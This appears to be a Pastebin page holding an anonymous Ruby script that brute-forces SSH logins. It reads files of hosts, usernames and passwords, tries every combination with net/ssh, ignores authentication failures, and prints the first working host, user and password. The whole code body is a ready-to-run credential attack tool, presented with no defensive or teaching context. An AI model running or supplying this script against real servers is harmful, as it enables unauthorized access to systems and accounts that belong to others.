Advertisement
Guest User

Untitled

a guest
May 3rd, 2017
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.17 KB | None | 0 0
  1. require 'net/ssh'
  2. require 'thread'
  3.  
  4. hosts = []
  5. File.open("ssh_hosts", "r").each_line do |host|
  6. hosts << host
  7. end
  8.  
  9. users = []
  10. File.open("known_users", "r").each_line do |user|
  11. users << user
  12. end
  13.  
  14. passwords = []
  15. File.open("known_pass", "r").each_line do |pass|
  16. passwords << pass
  17. end
  18.  
  19. puts "DEBUG: Scanning #{hosts.size} with #{users.size} users and #{passwords.size} passwords"
  20.  
  21. hosts.each do |host|
  22. users.each do |user|
  23. passwords.each do |password|
  24. password = password.chomp
  25. user = user.chomp
  26. host = host.chomp
  27.  
  28.  
  29. #puts "Trying #{user}@#{host} with #{password}"
  30. begin
  31. Net::SSH.start(host, user, :password => password) do |ssh|
  32. puts "#{host}:#{user}:#{password}"
  33. exit
  34. end
  35.  
  36. rescue Exception => e
  37. # Ignore any auth exceptions
  38. end
  39. end
  40. end
  41. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement